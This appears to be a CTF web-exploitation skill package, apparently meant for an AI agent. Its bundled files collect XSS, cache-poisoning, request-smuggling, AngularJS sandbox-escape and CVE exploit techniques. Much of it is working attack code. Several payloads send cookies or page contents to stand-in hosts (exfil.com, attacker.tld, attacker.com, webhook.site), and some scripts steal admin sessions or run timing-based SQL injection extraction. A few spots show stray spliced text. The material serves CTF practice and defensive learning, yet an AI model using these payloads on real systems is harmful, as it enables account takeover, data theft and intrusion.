CTF Web Exploitation Use this skill as a routing and execution guide for web-heavy challenges. Keep the first pass short: map the app, confirm the trust boundary, and only then dive into the detailed technique notes. Prerequisites Python packages (all platforms): Linux (apt): macOS (Homebrew): Go tools (all platforms, requires Go): Manual install: - ysoserial — GitHub, requires Java (Java deserialization payloads) Additional Resources - sql-injection.md - SQL injection techniques: auth bypass, UNION extraction, filter bypasses, second-order SQLi, truncation, race-assisted leaks, INSERT ON DUP…

));\nconst fiber = document.querySelector('[data-react-root]')[key];\nconst state = fiber.return.stateNode.state;\nfetch('https://attacker.example/log?s=' + encodeURIComponent(JSON.stringify(state)));\n```\n\nFor React 17+ the property name is `__reactFiber$\u003crandom>`, and the path is `.stateNode.memoizedState`. Walk `.return` until you hit a node with `stateNode !== null`.\n\n**Key insight:** React stores component state on the DOM itself for hot-reload and devtools support. XSS within the same document therefore has full read access to props and state, including values that were fetched client-side and never echoed into the markup (auth tokens, private chats, admin panels). Harden dev builds by stripping `__reactFiber ctf-web — Skillopedia /`__reactInternalInstance ctf-web — Skillopedia attachments in production or by preventing XSS upstream — CSP alone is not enough because the state read happens in JavaScript that CSP already permits.\n\n**References:** RCTF 2018 — writeup 10125\n\n---\n\n## CloudFlare Cache Poisoning via .js Username + Stored Self-XSS (CONFidence 2019 Teaser)\n\n**Pattern:** Profile page has a stored self-XSS (e.g. attribute injection on a `\u003cselect>` `shoesize` field via `tabindex=1 contenteditable autofocus onfocus=...`). Self-XSS alone is useless — the XSS only fires for the owner of the profile. CDN caches by URL extension, not `Content-Type`, so registering a username whose URL ends in `.js` makes the CDN treat `/profile/\u003cuser>.js` as a cacheable static JS asset. A single logged-in hit from the attacker's session poisons the shared edge cache: every subsequent visitor — including the challenge admin bot — is served the attacker's authenticated HTML, executing the XSS under the victim's session.\n\n```python\n# 1. Pick a region-matching VM so your cache hits land in the admin's region.\n# (CloudFlare is region-sharded; colocate with other challenge infra.)\n\n# 2. Register a user whose name ends in .js\nimport requests, random\ns = requests.Session()\ns.get('http://target/login')\nuser = f'hfs-{random.randint(10**7, 10**8)}.js'\ns.post('http://target/login', data=f'login={user}&password={user}',\n headers={'Content-Type': 'application/x-www-form-urlencoded'})\n\n# 3. Store self-XSS via the shoesize select attribute injection\npayload = ('fetch(\"/profile\").then(e=>e.text()).then(f=>'\n 'new Image().src=\"//attacker.tld/?\"+/secret(.*)>/.exec(f)[0])')\nraw = (\n '------B\\r\\nContent-Disposition: form-data; name=\"firstname\"\\r\\n\\r\\nazz\\r\\n'\n '------B\\r\\nContent-Disposition: form-data; name=\"shoesize\"\\r\\n\\r\\n'\n f'1 tabindex=1 contenteditable autofocus onfocus={payload}\\r\\n'\n '------B\\r\\nContent-Disposition: form-data; name=\"secret\"\\r\\n\\r\\nasd\\r\\n'\n '------B--\\r\\n'\n)\ns.post(f'http://target/profile/{user}', data=raw,\n headers={'Content-Type': 'multipart/form-data; boundary=----B'})\n\n# 4. Poison the edge cache: fetch once while logged in\ns.get(f'http://target/profile/{user}')\n\n# 5. Report the profile to the admin bot -> cached (authenticated) HTML is served\n# to the admin, XSS fires, attacker.tld logs ?secret=\u003cflag>\n```\n\n**Key insight:** CDNs cache by URL path/extension, not response `Content-Type` or `Vary: Cookie`; a `.js` (or `.css`, `.svg`, `.ico`, `.png`) suffix often flips a per-user page into a globally-shared static asset and converts a self-XSS into a wormable stored XSS. Always test whether appending common static extensions yields the *same* authenticated content from an unauthenticated fetch — that is the poisoning primitive. Admin-bot challenges behind CloudFlare are especially vulnerable; once poisoned, the next admin visit executes your payload with their cookies.\n\n**References:** CONFidence CTF 2019 Teaser — Web 50, writeup 13925. Background: [PortSwigger: Practical Web Cache Poisoning](https://portswigger.net/blog/practical-web-cache-poisoning).\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":37895,"content_sha256":"d6dc8885a8d4aa436e1d07a44438df0744c7c119ffe7ea2c46e4246c9e94d479"},{"filename":"client-side.md","content":"# CTF Web - Client-Side Attacks\n\n## Table of Contents\n- [XSS Payloads](#xss-payloads)\n - [Basic](#basic)\n - [Cookie Exfiltration](#cookie-exfiltration)\n - [Filter Bypass](#filter-bypass)\n - [Hex/Unicode Bypass](#hexunicode-bypass)\n- [DOMPurify Bypass via Trusted Backend Routes](#dompurify-bypass-via-trusted-backend-routes)\n- [JavaScript String Replace Exploitation](#javascript-string-replace-exploitation)\n- [Client-Side Path Traversal (CSPT)](#client-side-path-traversal-cspt)\n- [Cache Poisoning](#cache-poisoning)\n - [X-Forwarded-Host CDN Template Fetch Poisoning (CSAW 2018)](#x-forwarded-host-cdn-template-fetch-poisoning-csaw-2018)\n- [Hidden DOM Elements](#hidden-dom-elements)\n- [React-Controlled Input Programmatic Filling](#react-controlled-input-programmatic-filling)\n- [Magic Link + Redirect Chain XSS](#magic-link--redirect-chain-xss)\n- [Content-Type via File Extension](#content-type-via-file-extension)\n- [DOM XSS via jQuery Hashchange (Crypto-Cat)](#dom-xss-via-jquery-hashchange-crypto-cat)\n- [Shadow DOM XSS](#shadow-dom-xss)\n- [DOM Clobbering + MIME Mismatch](#dom-clobbering--mime-mismatch)\n- [HTTP Request Smuggling via Cache Proxy](#http-request-smuggling-via-cache-proxy)\n- [CSS/JS Paywall Bypass](#cssjs-paywall-bypass)\n- [JPEG+HTML Polyglot XSS (EHAX 2026)](#jpeghtml-polyglot-xss-ehax-2026)\n- [JSFuck Decoding](#jsfuck-decoding)\n- [AngularJS 1.x Sandbox Escape via charAt/trim Override (Google CTF 2017)](#angularjs-1x-sandbox-escape-via-charattrim-override-google-ctf-2017)\n- [Admin Bot javascript: URL Scheme Bypass (DiceCTF 2026)](#admin-bot-javascript-url-scheme-bypass-dicectf-2026)\n- [XS-Leak via Image Load Timing + GraphQL CSRF (HTB GrandMonty)](#xs-leak-via-image-load-timing--graphql-csrf-htb-grandmonty)\n - [Why it works](#why-it-works)\n - [Step 1 — Redirect bot via meta refresh (CSP bypass)](#step-1--redirect-bot-via-meta-refresh-csp-bypass)\n - [Step 2 — Timing oracle via image loads](#step-2--timing-oracle-via-image-loads)\n - [Step 3 — Character-by-character extraction](#step-3--character-by-character-extraction)\n - [Step 4 — Host exploit and tunnel](#step-4--host-exploit-and-tunnel)\n- [jQuery `$(location.hash)` CSS Selector Timing Leak (hxp 2018)](#jquery-locationhash-css-selector-timing-leak-hxp-2018)\n\n---\n\n## XSS Payloads\n\n### Basic\n```html\n\u003cscript>alert(1)\u003c/script>\n\u003cimg src=x onerror=alert(1)>\n\u003csvg onload=alert(1)>\n\u003cbody onload=alert(1)>\n\u003cinput onfocus=alert(1) autofocus>\n```\n\n### Cookie Exfiltration\n```html\n\u003cscript>fetch('https://exfil.com/?c='+document.cookie)\u003c/script>\n\u003cimg src=x onerror=\"fetch('https://exfil.com/?c='+document.cookie)\">\n```\n\n### Filter Bypass\n```html\n\u003cScRiPt>alert(1)\u003c/ScRiPt> \u003c!-- Case mixing -->\n\u003cscript>alert`1`\u003c/script> \u003c!-- Template literal -->\n\u003cimg src=x onerror=alert(1)> \u003c!-- HTML entities -->\n\u003csvg/onload=alert(1)> \u003c!-- No space -->\n```\n\n### Hex/Unicode Bypass\n- Hex encoding: `\\x3cscript\\x3e`\n- HTML entities: `<script>`\n\n---\n\n## DOMPurify Bypass via Trusted Backend Routes\n\nFrontend sanitizes before autosave, but backend trusts autosave — no sanitization.\nExploit: POST directly to `/api/autosave` with XSS payload.\n\n---\n\n## JavaScript String Replace Exploitation\n\n`.replace()` special patterns: `$\\`` = content BEFORE match, `

CTF Web Exploitation Use this skill as a routing and execution guide for web-heavy challenges. Keep the first pass short: map the app, confirm the trust boundary, and only then dive into the detailed technique notes. Prerequisites Python packages (all platforms): Linux (apt): macOS (Homebrew): Go tools (all platforms, requires Go): Manual install: - ysoserial — GitHub, requires Java (Java deserialization payloads) Additional Resources - sql-injection.md - SQL injection techniques: auth bypass, UNION extraction, filter bypasses, second-order SQLi, truncation, race-assisted leaks, INSERT ON DUP…

` = content AFTER match\nPayload: `\u003cimg src=\"abc$\\`\u003cimg src=x onerror=alert(1)>\">`\n\n---\n\n## Client-Side Path Traversal (CSPT)\n\nFrontend JS uses URL param in fetch without validation:\n```javascript\nconst profileId = urlParams.get(\"id\");\nfetch(\"/log/\" + profileId, { method: \"POST\", body: JSON.stringify({...}) });\n```\nExploit: `/user/profile?id=../admin/addAdmin` → fetches `/admin/addAdmin` with CSRF body\n\nParameter pollution: `/user/profile?id=1&id=../admin/addAdmin` (backend uses first, frontend uses last)\n\n---\n\n## Cache Poisoning\n\nCDN/cache keys only on URL:\n```python\nrequests.get(f\"{TARGET}/search?query=harmless\", data=f\"query=\u003cscript>evil()\u003c/script>\")\n# All visitors to /search?query=harmless get XSS\n```\n\n### X-Forwarded-Host CDN Template Fetch Poisoning (CSAW 2018)\n\n**Pattern:** A CDN fronting the app keys cached responses only on path + query. A backend Mustache template renders a `\u003cscript src=\"https://{{host}}/cdn/app.js\">` tag where `{{host}}` comes from the `X-Forwarded-Host` header. The attacker sends one request with `X-Forwarded-Host: attacker.tld`, Varnish caches the response for 120 seconds, and every subsequent visitor loads JavaScript from the attacker origin.\n\n```http\nGET /cdn/app.js HTTP/1.1\nHost: target.tld\nX-Forwarded-Host: attacker.tld\n```\n\n```python\nimport requests, time\n# Poison the cache\nrequests.get(\"https://target.tld/cdn/app.js\",\n headers={\"X-Forwarded-Host\": \"attacker.tld\"})\n# Within the 120s TTL any visitor pulls https://attacker.tld/cdn/app.js\n```\n\n**Key insight:** Cache keys rarely include request headers, even when those headers feed the response body. Any header the backend reflects into HTML (`Host`, `X-Forwarded-Host`, `X-Original-URL`, `X-Rewrite-URL`, `Forwarded`) becomes a web cache poisoning vector the moment the response is cached. Use `Vary: X-Forwarded-Host` or strip these headers at the edge; attackers hunt them with Burp Param Miner (`unkeyed header discovery`).\n\n**References:** CSAW CTF Qualification Round 2018 — Hacker Movie Club, writeup 11277\n\n---\n\n## Hidden DOM Elements\n\nProof/flag in `display: none`, `visibility: hidden`, `opacity: 0`, or off-screen elements:\n```javascript\ndocument.querySelectorAll('[style*=\"display: none\"], [hidden]')\n .forEach(el => console.log(el.id, el.textContent));\n\n// Find all hidden content\ndocument.querySelectorAll('*').forEach(el => {\n const s = getComputedStyle(el);\n if (s.display === 'none' || s.visibility === 'hidden' || s.opacity === '0')\n if (el.textContent.trim()) console.log(el.tagName, el.id, el.textContent.trim());\n});\n```\n\n---\n\n## React-Controlled Input Programmatic Filling\n\nReact ignores direct `.value` assignment. Use native setter + events:\n```javascript\nconst input = document.querySelector('input[placeholder=\"SDG{...}\"]');\nconst nativeSetter = Object.getOwnPropertyDescriptor(\n window.HTMLInputElement.prototype, 'value'\n).set;\nnativeSetter.call(input, 'desired_value');\ninput.dispatchEvent(new Event('input', { bubbles: true }));\ninput.dispatchEvent(new Event('change', { bubbles: true }));\n```\n\nWorks for React, Vue, Angular. Essential for automated form filling via DevTools.\n\n---\n\n## Magic Link + Redirect Chain XSS\n```javascript\n// /magic/:token?redirect=/edit/\u003cxss_post_id>\n// Sets auth cookies, then redirects to attacker-controlled XSS page\n```\n\n---\n\n## Content-Type via File Extension\n```javascript\n// @fastify/static determines Content-Type from extension\nnoteId = '\u003cimg src=x onerror=\"alert(1)\">.html'\n// Response: Content-Type: text/html → XSS\n```\n\n---\n\n## DOM XSS via jQuery Hashchange (Crypto-Cat)\n\n**Pattern:** jQuery's `$()` selector sink combined with `location.hash` source and `hashchange` event handler. Modern jQuery patches block direct `$(location.hash)` HTML injection, but iframe-triggered hashchange bypasses it.\n\n**Vulnerable pattern:**\n```javascript\n$(window).on('hashchange', function() {\n var element = $(location.hash);\n element[0].scrollIntoView();\n});\n```\n\n**Exploit via iframe:** Trigger hashchange without direct user interaction by loading the target in an iframe, then modifying the hash via `onload`:\n```html\n\u003ciframe src=\"https://vulnerable.com/#\"\n onload=\"this.src+='\u003cimg src=x onerror=print()>'\">\n\u003c/iframe>\n```\n\n**Key insight:** The iframe's `onload` fires after the initial load, then changing `this.src` triggers a `hashchange` event in the target page. The hash content (`\u003cimg src=x onerror=print()>`) passes through jQuery's `$()` which interprets it as HTML, creating a DOM element with the XSS payload.\n\n**Detection:** Look for `$(location.hash)`, `$(window.location.hash)`, or any jQuery selector that accepts user-controlled input from URL fragments.\n\n---\n\n## Shadow DOM XSS\n\n**Closed Shadow DOM exfiltration (Pragyan 2026):** Wrap `attachShadow` in a Proxy to capture shadow root references:\n```javascript\nvar _r, _o = Element.prototype.attachShadow;\nElement.prototype.attachShadow = new Proxy(_o, {\n apply: (t, a, b) => { _r = Reflect.apply(t, a, b); return _r; }\n});\n// After target script creates shadow DOM, _r contains the root\n```\n\n**Indirect eval scope escape:** `(0,eval)('code')` escapes `with(document)` scope restrictions.\n\n**Payload smuggling via avatar URL:** Encode full JS payload in avatar URL after fixed prefix, extract with `avatar.slice(N)`:\n```html\n\u003csvg/onload=(0,eval)('eval(avatar.slice(24))')>\n```\n\n**`\u003c/script>` injection (Shadow Fight 2):** Keyword filters often miss HTML structural tags. `\u003c/script>` closes existing script context, `\u003cscript src=//evil>` loads external script. External script reads flag from `document.scripts[].textContent`.\n\n---\n\n## DOM Clobbering + MIME Mismatch\n\n**MIME type confusion (Pragyan 2026):** CDN/server checks for `.jpeg` but not `.jpg` → serves `.jpg` as `text/html` → HTML in JPEG polyglot executes as page.\n\n**Form-based DOM clobbering:**\n```html\n\u003cform id=\"config\">\u003cinput name=\"canAdminVerify\" value=\"1\">\u003c/form>\n\u003c!-- Makes window.config.canAdminVerify truthy, bypassing JS checks -->\n```\n\n---\n\n## HTTP Request Smuggling via Cache Proxy\n\n**Cache proxy desync (Pragyan 2026):** When a caching TCP proxy returns cached responses without consuming request bodies, leftover bytes are parsed as the next request.\n\n**Cookie theft pattern:**\n1. Create cached resource (e.g., blog post)\n2. Send request with cached URL + appended incomplete POST (large Content-Length, partial body)\n3. Cache proxy returns cached response, doesn't consume POST body\n4. Admin bot's next request bytes fill the POST body → stored on server\n5. Read stored request to extract admin's cookies\n\n```python\ninner_req = (\n f\"POST /create HTTP/1.1\\r\\n\"\n f\"Host: {HOST}\\r\\n\"\n f\"Cookie: session={user_session}\\r\\n\"\n f\"Content-Length: 256\\r\\n\" # Large, but only partial body sent\n f\"\\r\\n\"\n f\"content=LEAK_\" # Victim's request completes this\n)\nouter_req = (\n f\"GET /cached-page HTTP/1.1\\r\\n\"\n f\"Content-Length: {len(inner_req)}\\r\\n\"\n f\"\\r\\n\"\n).encode() + inner_req\n```\n\n---\n\n## CSS/JS Paywall Bypass\n\n**Pattern (Great Paywall, MetaCTF 2026):** Article content is fully present in the HTML but hidden behind a CSS/JS overlay (`position: fixed; z-index: 99999; backdrop-filter: blur(...)` with a \"Subscribe\" CTA).\n\n**Quick solve:** `curl` the page — no CSS/JS rendering means the full article (and flag) are in the raw HTML.\n\n```bash\ncurl -s https://target/article | grep -i \"flag\\|CTF{\"\n```\n\n**Alternative approaches:**\n- View page source in browser (Ctrl+U)\n- Browser DevTools → delete the overlay element\n- Disable JavaScript in browser settings\n- `document.querySelector('#paywall-overlay').remove()` in console\n- Googlebot user-agent: `curl -H \"User-Agent: Googlebot\" https://target/article`\n\n**Key insight:** Many paywalls are client-side DOM overlays — the content is always in the HTML. The leetspeak hint \"paywalls are just DOM\" confirms this. Always try `curl` or view-source first before more complex approaches.\n\n**Detection:** Look for `\u003cdiv>` elements with `position: fixed`, high `z-index`, and `backdrop-filter: blur()` in the page source — these are overlay-based paywalls.\n\n---\n\n## JPEG+HTML Polyglot XSS (EHAX 2026)\n\n**Pattern (Metadata Meyham):** File upload accepts JPEG, serves uploaded files with permissive MIME type. Admin bot visits reported files.\n\n**Attack:** Create a JPEG+HTML polyglot — valid JPEG header followed by HTML/JS payload:\n```python\nfrom PIL import Image\nimport io\n\n# Create minimal valid JPEG\nimg = Image.new('RGB', (1,1), color='red')\nbuf = io.BytesIO()\nimg.save(buf, 'JPEG', quality=1)\njpeg_data = buf.getvalue()\n\n# HTML payload appended after JPEG data\nhtml_payload = '''\u003c!DOCTYPE html>\n\u003chtml>\u003cbody>\u003cscript>\n(async function(){\n // Fetch admin page content\n var r = await fetch(\"/admin\");\n var t = await r.text();\n // Exfiltrate via self-upload (stays on same origin)\n var j = new Uint8Array([255,216,255,224,0,16,74,70,73,70,0,1,1,0,0,1,0,1,0,0,255,217]);\n var b = new Blob([j], {type:'image/jpeg'});\n var f = new FormData();\n f.append('file', b, 'FLAG_' + btoa(t).substring(0,100) + '.jpg');\n await fetch('/upload', {method:'POST', body:f});\n // Also try external webhook\n new Image().src = \"https://webhook.site/YOUR_ID?d=\" + encodeURIComponent(t.substring(0,500));\n})();\n\u003c/script>\u003c/body>\u003c/html>'''\n\npolyglot = jpeg_data + b'\\n' + html_payload.encode()\n# Upload as .html with image/jpeg content type\n```\n\n**PoW bypass:** Many CTF report endpoints require SHA-256 proof-of-work:\n```python\nimport hashlib\nnonce = 0\nwhile True:\n h = hashlib.sha256((challenge + str(nonce)).encode()).hexdigest()\n if h.startswith('0' * difficulty):\n break\n nonce += 1\n```\n\n**Exfiltration methods (ranked by reliability):**\n1. **Self-upload:** Fetch `/admin`, upload result as filename → check `/files` for new uploads\n2. **Webhook:** `fetch('https://webhook.site/ID?flag='+data)` — may be blocked by CSP\n3. **DNS exfil:** `new Image().src = 'http://'+btoa(flag)+'.attacker.com'` — bypasses most CSP\n\n**Key insight:** JPEG files are tolerant of trailing data. Browsers parse HTML from anywhere in the response when MIME allows it. The polyglot is simultaneously a valid JPEG and valid HTML.\n\n---\n\n## JSFuck Decoding\n\n**Pattern (JShit, PascalCTF 2026):** Page source contains JSFuck (`[]()!+` only). Decode by removing trailing `()()` and calling `.toString()` in Node.js:\n```javascript\nconst code = fs.readFileSync('jsfuck.js', 'utf8');\n// Remove last () to get function object instead of executing\nconst func = eval(code.slice(0, -2));\nconsole.log(func.toString()); // Reveals original code with hardcoded flag\n```\n\n---\n\n## AngularJS 1.x Sandbox Escape via charAt/trim Override (Google CTF 2017)\n\n**Pattern:** AngularJS versions before 1.6 sandbox expressions to prevent arbitrary JavaScript execution in `{{ }}` bindings. The sandbox relies on `charAt` to validate identifiers character by character. Override `charAt` with `trim` on `String.prototype` to bypass the check, then use `$eval` to execute arbitrary JS.\n\n**Payload:**\n```javascript\n{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,window.location=\"http://attacker.com/\"+document.cookie,a')}}\n```\n\n**How it works:**\n1. `toString().constructor.prototype` accesses `String.prototype`\n2. `a.charAt=a.trim` replaces `charAt` with `trim` on all strings\n3. The sandbox calls `charAt(0)` on identifiers to validate them -- but `trim` returns the full string instead of a single character\n4. This breaks the character-by-character validation, allowing any expression\n5. `$eval('expression')` evaluates arbitrary JavaScript in the Angular scope\n\n**Shorter variants for different AngularJS versions:**\n```javascript\n\u003c!-- AngularJS 1.5.x -->\n{{x={'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(1)')}}\n\n\u003c!-- AngularJS 1.4.x -->\n{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//')}}\n\n\u003c!-- AngularJS 1.3.x -->\n{{constructor.constructor('return window.location=\"http://attacker.com/\"+document.cookie')()}}\n```\n\n**Detection:** Look for `ng-app` or `ng-controller` directives in HTML, AngularJS script includes (`angular.js` or `angular.min.js`), and `{{ }}` expression bindings that reflect user input.\n\n**Key insight:** The sandbox relies on `charAt` to validate identifiers. Replacing it with `trim` (which returns the full string) bypasses the character-by-character check, allowing arbitrary expression evaluation. AngularJS 1.6+ removed the sandbox entirely (acknowledging it was never a security boundary), but many CTFs and legacy apps still use older versions.\n\n---\n\n## Admin Bot javascript: URL Scheme Bypass (DiceCTF 2026)\n\n**Pattern (Mirror Temple):** Admin bot navigates to user-supplied URL, validates with `new URL()` which only checks syntax — not protocol scheme. `javascript:` URLs pass validation and execute arbitrary JS in the bot's authenticated context.\n\n**Vulnerable validation:**\n```javascript\ntry {\n new URL(targetUrl) // Accepts javascript:, data:, file:, etc.\n} catch {\n process.exit(1)\n}\nawait page.goto(targetUrl, { waitUntil: \"domcontentloaded\" })\n```\n\n**Exploit:**\n```bash\n# 1. Create authenticated session (bot requires valid cookie)\ncurl -i -X POST 'https://target/postcard-from-nyc' \\\n --data-urlencode 'name=test' \\\n --data-urlencode 'flag=dice{test}' \\\n --data-urlencode 'portrait='\n# Extract save=... cookie from Set-Cookie header\n\n# 2. Submit javascript: URL to report endpoint\ncurl -X POST 'https://target/report' \\\n -H 'Cookie: save=YOUR_COOKIE' \\\n --data-urlencode \"url=javascript:fetch('/flag').then(r=>r.text()).then(f=>location='https://webhook.site/ID/?flag='+encodeURIComponent(f))\"\n```\n\n**Why CSP/SRI don't help (B-Side variant):** The B-Side adds inlined CSS, SRI integrity hashes on scripts, and strict CSP. None of these matter because `javascript:` URLs execute in a **navigation context** — the bot navigates to the JS URL directly, not injecting into an existing page. The CSP of the target page is irrelevant since the JS runs before any page loads.\n\n**Fix:**\n```javascript\nconst u = new URL(targetUrl)\nif (!['http:', 'https:'].includes(u.protocol)) {\n process.exit(1)\n}\n```\n\n**Key insight:** `new URL()` is a **syntax** validator, not a **security** validator. It accepts `javascript:`, `data:`, `file:`, `blob:`, and other dangerous schemes. Any admin bot or SSRF handler using `new URL()` alone for validation is vulnerable. Always allowlist protocols explicitly.\n\n---\n\n## XS-Leak via Image Load Timing + GraphQL CSRF (HTB GrandMonty)\n\n**Pattern:** Admin bot visits attacker page → JavaScript makes cross-origin requests to `localhost` GraphQL endpoint → measures time-based SQLi via image load timing → exfiltrates data character by character.\n\n### Why it works\n\n1. **GraphQL GET CSRF:** Many GraphQL implementations accept GET requests (not just POST+JSON). GET requests with images bypass CORS preflight — no `OPTIONS` check needed.\n2. **Bot runs on localhost:** The admin bot's browser can reach `localhost:1337/graphql` which is restricted from external access.\n3. **Image error timing:** `new Image().src = url` fires `onerror` after the server responds. If SQL `SLEEP(1)` executes, the response is slow → timing difference reveals whether a character matches.\n\n### Step 1 — Redirect bot via meta refresh (CSP bypass)\n\nWhen CSP blocks inline scripts, use HTML injection with `\u003cmeta>` redirect:\n```bash\ncurl -b cookies.txt \"http://TARGET/api/chat/send\" \\\n -X POST -H \"Content-Type: application/json\" \\\n -d '{\"message\": \"\u003cmeta http-equiv=\\\"refresh\\\" content=\\\"0;url=https://ATTACKER/exploit.html\\\" />\"}'\n```\n\nThe bot navigates to the attacker page, where JavaScript executes freely (different origin, no CSP restriction).\n\n### Step 2 — Timing oracle via image loads\n\n```javascript\nconst imageLoadTime = (src) => {\n return new Promise((resolve) => {\n let start = performance.now();\n const img = new Image();\n img.onload = () => resolve(0);\n img.onerror = () => resolve(performance.now() - start);\n img.src = src;\n });\n};\n\nconst xsLeaks = async (query) => {\n let imgURL = 'http://127.0.0.1:1337/graphql?query=' +\n encodeURIComponent(query);\n let delay = await imageLoadTime(imgURL);\n return delay >= 1000; // SLEEP(1) threshold\n};\n```\n\n### Step 3 — Character-by-character extraction\n\n```javascript\nlet sqlTemp = `query {\n RansomChat(enc_id: \"123' and __LEFT__ = __RIGHT__)-- -\")\n {id, enc_id, message, created_at} }`;\n\nlet readQueryTemp = `(select sleep(1) from dual where\n BINARY(SUBSTRING((select password from db.users\n where username = 'target'),__POS__,1))`;\n\nlet flag = '';\nfor (let pos = 1; ; pos++) {\n for (let c of charset) {\n let readQuery = readQueryTemp.replace('__POS__', pos);\n let sql = sqlTemp.replace('__LEFT__', readQuery)\n .replace('__RIGHT__', `'${c}'`);\n if (await xsLeaks(sql)) {\n flag += c;\n new Image().src = exfilURL + '?d=' + encodeURIComponent(flag);\n break;\n }\n }\n}\n```\n\n### Step 4 — Host exploit and tunnel\n\n```bash\n# Cloudflare Tunnel (recommended — no interstitial pages unlike ngrok)\ncloudflared tunnel --url http://localhost:8888\npython3 -m http.server 8888\n```\n\n**Key insight:** GraphQL GET requests bypass CORS preflight entirely — `new Image().src` triggers a simple GET that doesn't need `OPTIONS`. Combined with timing-based SQLi (`SLEEP()`), image `onerror` timing becomes a boolean oracle. The bot's localhost access turns a localhost-only SQLi into a remotely exploitable vulnerability.\n\n**Detection:** Chat/message features with HTML injection + admin bot + GraphQL endpoint with SQL injection + localhost-only restrictions.\n\n---\n\n## jQuery `$(location.hash)` CSS Selector Timing Leak (hxp 2018)\n\n**Pattern:** Target page calls `$(location.hash).addClass(...)`. Passing a URL fragment that parses as a CSS selector causes jQuery to invoke Sizzle, which walks the DOM matching the selector. Stacking deeply nested `:has()` pseudo-classes blows up selector evaluation time predictably (~2 s) only when the selector *matches*, creating a Boolean timing oracle on any attribute the bot's DOM exposes (for example `body[data-user-id^='1']`).\n\n```text\nhttp://127.0.0.1/?id=...#*:has(*:has(*:has(*:has(*:has(body[data-user-id^='1'])))))\n```\n\nExfiltrate by firing two `new Image().src` requests to attacker-controlled endpoints (`/firstping`, `/secondping`) around the `addClass` call and measuring the delta: ~20 ms = mismatch, ~2 s = match.\n\n**Key insight:** jQuery's ` ctf-web — Skillopedia with a string argument treats anything beginning with `\u003c` as HTML and everything else as a selector. Any sink that lets an attacker put arbitrary text into `$()` becomes both an XSS and a selector-timing oracle.\n\n**References:** hxp CTF 2018 — µblog, writeup 12554\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":22068,"content_sha256":"0d7aa7b2c7b3eca7c4e1fffb71b4bbae107ca5523b6c4e447570154a29b501c5"},{"filename":"cves.md","content":"# CTF Web - CVEs & Browser Vulnerabilities\n\nSpecific CVEs and vulnerability patterns. For Node.js CVEs (flatnest, Happy-DOM), see [node-and-prototype.md](node-and-prototype.md). For JWT algorithm confusion, see [auth-and-access.md](auth-and-access.md).\n\n## Table of Contents\n- [CVE-2025-29927: Next.js Middleware Bypass](#cve-2025-29927-nextjs-middleware-bypass)\n- [CVE-2025-0167: Curl .netrc Credential Leakage](#cve-2025-0167-curl-netrc-credential-leakage)\n- [Uvicorn CRLF Injection (Unpatched N-Day)](#uvicorn-crlf-injection-unpatched-n-day)\n- [Python urllib Scheme Validation Bypass (0-Day)](#python-urllib-scheme-validation-bypass-0-day)\n- [Chrome Referrer Leak via Link Header (2025)](#chrome-referrer-leak-via-link-header-2025)\n- [TCP Packet Splitting (Firewall Bypass)](#tcp-packet-splitting-firewall-bypass)\n- [Puppeteer/Chrome JavaScript Bypass](#puppeteerchrome-javascript-bypass)\n- [Python python-dotenv Injection](#python-python-dotenv-injection)\n- [HTTP Request Splitting via RFC 2047](#http-request-splitting-via-rfc-2047)\n- [Waitress WSGI Cookie Exfiltration](#waitress-wsgi-cookie-exfiltration)\n- [Deno Import Map Hijacking](#deno-import-map-hijacking)\n- [CVE-2025-8110: Gogs Symlink RCE](#cve-2025-8110-gogs-symlink-rce)\n- [CVE-2021-22204: ExifTool DjVu Perl Injection](#cve-2021-22204-exiftool-djvu-perl-injection)\n- [Broken Auth via Truthy Hash Check (0xFun 2026)](#broken-auth-via-truthy-hash-check-0xfun-2026)\n- [AAEncode/JJEncode JS Deobfuscation (0xFun 2026)](#aaencodejjencode-js-deobfuscation-0xfun-2026)\n- [Protocol Multiplexing — SSH+HTTP on Same Port (0xFun 2026)](#protocol-multiplexing--sshhttp-on-same-port-0xfun-2026)\n- [CVE-2024-28184: WeasyPrint Attachment SSRF / File Read](#cve-2024-28184-weasyprint-attachment-ssrf--file-read)\n- [CVE-2025-55182 / CVE-2025-66478: React Server Components Flight Protocol RCE](#cve-2025-55182--cve-2025-66478-react-server-components-flight-protocol-rce)\n- [CVE-2024-45409: Ruby-SAML XPath Digest Smuggling (Barrier HTB)](#cve-2024-45409-ruby-saml-xpath-digest-smuggling-barrier-htb)\n- [CVE-2023-27350: PaperCut NG Authentication Bypass + RCE (Bamboo HTB)](#cve-2023-27350-papercut-ng-authentication-bypass--rce-bamboo-htb)\n- [CVE-2024-22120: Zabbix Time-Based Blind SQLi (Watcher HTB)](#cve-2024-22120-zabbix-time-based-blind-sqli-watcher-htb)\n- [CVE-2012-0053: Apache HttpOnly Cookie Leak via 400 Bad Request (RC3 CTF 2016)](#cve-2012-0053-apache-httponly-cookie-leak-via-400-bad-request-rc3-ctf-2016)\n- [CVE-2014-9734: WordPress RevSlider Upload + MySQL load_file() SSH Pivot (TAMUctf 2019)](#cve-2014-9734-wordpress-revslider-upload--mysql-load_file-ssh-pivot-tamuctf-2019)\n- [Detection Checklist](#detection-checklist)\n\n---\n\n## CVE-2025-29927: Next.js Middleware Bypass\n\n**Affected:** Next.js \u003c 14.2.25, also 15.x \u003c 15.2.3\n\n```http\nGET /protected/endpoint HTTP/1.1\nHost: target\nx-middleware-subrequest: middleware:middleware:middleware:middleware:middleware\n```\n\nBypasses authentication middleware, accesses protected endpoints, admin-only routes.\n\n**Chaining with SSRF (Note Keeper, Pragyan 2026):** After middleware bypass, inject `Location` header to trigger Next.js internal fetch to arbitrary URL:\n```bash\ncurl -H \"x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware\" \\\n -H \"Location: http://backend:4000/flag\" \\\n https://target/api/login\n```\nNext.js processes the `Location` header and fetches the specified URL internally, enabling SSRF to internal services.\n\n---\n\n## CVE-2025-0167: Curl .netrc Credential Leakage\n\nServer A (in `.netrc`) redirects to server B → curl sends credentials to B if B responds with `401 + WWW-Authenticate: Basic`\n\n```python\[email protected]('/\u003cpath:path>')\ndef leak(path):\n return '', 401, {'WWW-Authenticate': 'Basic realm=\"leak\"'}\n```\n\n---\n\n## Uvicorn CRLF Injection (Unpatched N-Day)\n\n**Affected:** Uvicorn (FastAPI default ASGI server) — reported but ignored.\n\nUvicorn doesn't sanitize CRLF in response headers. Enables:\n1. **CSP bypass** — inject headers that break 